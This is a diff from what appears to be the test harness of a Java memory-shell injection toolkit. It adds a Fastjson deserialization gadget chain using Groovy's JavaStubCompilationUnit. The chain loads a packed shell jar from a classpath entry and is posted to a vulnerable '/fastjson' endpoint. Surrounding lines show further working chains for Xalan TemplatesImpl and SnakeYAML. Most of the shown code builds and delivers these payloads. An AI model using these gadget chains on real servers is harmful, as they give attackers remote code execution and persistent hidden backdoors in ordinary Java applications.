|
11 | 11 | import com.reajason.javaweb.memshell.config.*; |
12 | 12 | import com.reajason.javaweb.packer.JarPacker; |
13 | 13 | import com.reajason.javaweb.packer.Packers; |
14 | | -import com.reajason.javaweb.packer.jar.AgentJarPacker; |
15 | | -import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker; |
16 | | -import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker; |
17 | | -import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker; |
| 14 | +import com.reajason.javaweb.packer.jar.*; |
18 | 15 | import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker; |
19 | 16 | import com.reajason.javaweb.suo5.Suo5Manager; |
20 | 17 | import lombok.SneakyThrows; |
@@ -129,6 +126,30 @@ public static void packerResultAndInject(MemShellResult generateResult, String u |
129 | 126 | " !!java.net.URL [\"file://" + jarPath + "\"]\n" + |
130 | 127 | " ]]\n" + |
131 | 128 | "]"; |
| 129 | + } else if (packer.getInstance() instanceof GroovyTransformJarPacker) { |
| 130 | + byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); |
| 131 | + Path tempJar = Files.createTempFile("temp", "jar"); |
| 132 | + Files.write(tempJar, bytes); |
| 133 | + String jarPath = "/" + shellTool + shellType + packer.name() + ".jar"; |
| 134 | + appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath); |
| 135 | + FileUtils.deleteQuietly(tempJar.toFile()); |
| 136 | + VulTool.postIsOk(url + "/fastjson", """ |
| 137 | + { |
| 138 | + "@type":"java.lang.Exception", |
| 139 | + "@type":"org.codehaus.groovy.control.CompilationFailedException", |
| 140 | + "unit":{ |
| 141 | + } |
| 142 | + }"""); |
| 143 | + content = "{\n" + |
| 144 | + " \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" + |
| 145 | + " \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" + |
| 146 | + " \"config\":{\n" + |
| 147 | + " \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" + |
| 148 | + " \"classpathList\":[\"file://" + jarPath + "\"]\n" + |
| 149 | + " },\n" + |
| 150 | + " \"gcl\":null,\n" + |
| 151 | + " \"destDir\": \"/tmp\"\n" + |
| 152 | + "}"; |
132 | 153 | } else if (packer.getInstance() instanceof XalanAbstractTransletPacker) { |
133 | 154 | String bytes = packer.getInstance().pack(generateResult.toClassPackerConfig()); |
134 | 155 | content = "[\"org.apache.xalan.xsltc.trax.TemplatesImpl\",{\"transletName\":\"businessObject\",\"transletBytecodes\":[\"" + bytes + "\"],\"outputProperties\":{}}]"; |
@@ -396,6 +417,7 @@ public static void injectIsOk(String url, String shellType, String shellTool, St |
396 | 417 | case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content); |
397 | 418 | case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content); |
398 | 419 | case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content); |
| 420 | + case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content); |
399 | 421 | case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content); |
400 | 422 | case Base64 -> VulTool.postIsOk(url + "/b64", content); |
401 | 423 | case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); |
|
0 commit comments